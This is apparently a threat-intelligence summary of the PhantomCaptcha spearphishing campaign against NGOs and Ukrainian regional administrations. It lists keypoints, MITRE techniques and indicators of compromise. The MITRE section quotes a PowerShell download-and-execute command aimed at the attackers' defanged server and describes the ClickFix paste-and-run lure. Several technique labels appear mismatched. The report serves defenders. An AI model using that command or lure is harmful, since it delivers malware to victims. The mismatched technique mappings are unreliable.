A coordinated spearphishing campaign called PhantomCaptcha targeted NGOs and Ukrainian regional administrations using weaponized PDFs that redirected victims to a fake Cloudflare captcha and coerced them into executing PowerShell loaders. The multi-stage attack delivered a WebSocket RAT and also pivoted to Android lures (princess.apk) hosted on related domains and infrastructure. #PhantomCaptcha #bsnowcommunications #princess.apk
Keypoints
- PhantomCaptcha used weaponized PDFs impersonating the Ukrainian President’s Office to lure staff at ICRC, UNICEF Ukraine, Norwegian Refugee Council, Council of Europe, and regional Ukrainian administrations.
- The PDF contained a malicious link to zoomconference[.]app which served a fake Cloudflare DDoS protection page that established a WebSocket and generated a clientId for follow-up steps.
- Attackers abused a “ClickFix/Paste and Run” social-engineering flow: victims were instructed to copy a PowerShell command to the clipboard and paste it into Win+R to execute an invisible PowerShell downloader.
- Multi-stage PowerShell payloads: an obfuscated downloader (stage 1) fetched a fingerprinting/encrypted-comms stage (stage 2) which then deployed a WebSocket-based RAT (stage 3) enabling remote command execution and data exfiltration.
- Infrastructure showed strong operational security—user-facing domains were active ~24 hours while backend C2 domains remained operational, including bsnowcommunications[.]com and IPs tied to Russian providers.
- Investigation found overlaps with COLDRIVER activity patterns and a related pivot to Android lures (princess.apk) that collect contacts, call logs, location, gallery images, and other device data.
- Indicators include multiple domains, IPs, and file hashes (PowerShell and APK samples) useful for threat hunting and detection; defenders are advised to monitor WebSocket traffic and PowerShell execution patterns.
MITRE Techniques
- [T1566 ] Phishing – Attackers sent spearphishing emails impersonating the Ukrainian President’s Office with a weaponized PDF attachment (“the email with malicious attachment was also sent out on Oct 8, 2025”).
- [T1204.002 ] User Execution: Malicious Link – Victims opened the PDF and clicked an embedded link to zoomconference[.]app which served the fake Cloudflare page (“Opening the weaponized PDF and clicking on the embedded link directed the victim to zoomconference[.]app”).
- [T1059.001 ] Command and Scripting Interpreter: PowerShell – The campaign used PowerShell scripts executed via a paste-and-run flow to download and run subsequent stages (“iex ((New-Object System.Net.WebClient).DownloadString(“hxxps://bsnowcommunications[.]com/maintenance”))”).
- [T1195 ] Exploit Public-Facing Application – The fake Cloudflare DDoS protection and WebSocket connection exploited trust in public-facing services to deliver payloads (“any visitors to the site encountered a convincing fake Cloudflare DDoS protection gateway”).
- [T1113 ] Screen Capture / Clipboard Data – The attack used the victim’s clipboard to execute commands via navigator.clipboard.writeText and instruct the user to paste into Win+R (“navigator.clipboard.writeText(…);” then instructing users to Press Windows + R to open the Run dialog”).
- [T1486 ] Data Encrypted for Impact / Encrypted Channel – The second-stage used XOR encryption of fingerprinting data and the RAT received Base64-encoded JSON over WebSockets (“This data was XOR-encrypted with the hardcoded key…”; “receives Base64-encoded JSON messages”).
- [T1105 ] Ingress Tool Transfer – The obfuscated downloader retrieved a second-stage payload from an external URL (hxxps://bsnowcommunications[.]com/maintenance) (“cptch script’s core functionality is simply to download and execute a second-stage payload from hxxps://bsnowcommunications[.]com/maintenance”).
- [T1071.001 ] Application Layer Protocol: Web Protocols – The final RAT communicated over WebSocket (wss) to a remote server for command-and-control (“connects … to a remote WebSocket server at wss://bsnowcommunications[.]com:80”).
- [T1430 ] Implant or Tool: Mobile – Android APKs (princess.apk) collected device data and communicated with hardcoded C2 endpoints to exfiltrate contacts, location, media, and more (“The application collects a variety of data to send to a hardcoded C2” and list of collected data).
Indicators of Compromise
- [Domain ] C2 and lure domains – bsnowcommunications[.]com, zoomconference[.]app (lure and backend domains used in the PhantomCaptcha chain)
- [Domain ] Additional/domains linked to mobile lures – princess-mens[.]click, zoomconference[.]click (domains hosting APK and related content)
- [IP Address ] Infrastructure hosting and C2 – 193.233.23[.]81 (zoom-themed lure VPS), 185.142.33[.]131 (bsnowcommunications[.]com backend)
- [IP Address ] Suspected actor-controlled server – 45.15.156[.]24 (linked to goodhillsenterprise[.]com and seen serving obfuscated PowerShell)
- [File Hash ] Weaponized PDF – e8d0943042e34a37ae8d79aeb4f9a2fa07b4a37955af2b0cc0e232b79c2e72f3 (malicious 8-page PDF lure)
- [File Hash ] PowerShell stages – 3324550964ec376e74155665765b1492ae1e3bdeb35d57f18ad9aaca64d50a44 (stage 1 downloader), 4bc8cf031b2e521f2b9292ffd1aefc08b9c00dab119f9ec9f65219a0fbf0f566 (stage 2 maintenance), 19bcf7ca3df4e54034b57ca924c9d9d178f4b0b8c2071a350e310dd645cd2b23 (stage 3 WebSocket RAT)
- [File Hash ] Android APKs – 55677db95eb5ddcca47394d188610029f06101ee7d1d8e63d9444c9c5cb04ae1, b02d8f8cf57abdc92b3af2545f1e46f1813f192f4a200a3de102fd38cf048517 (princess.apk samples collecting location, contacts, media)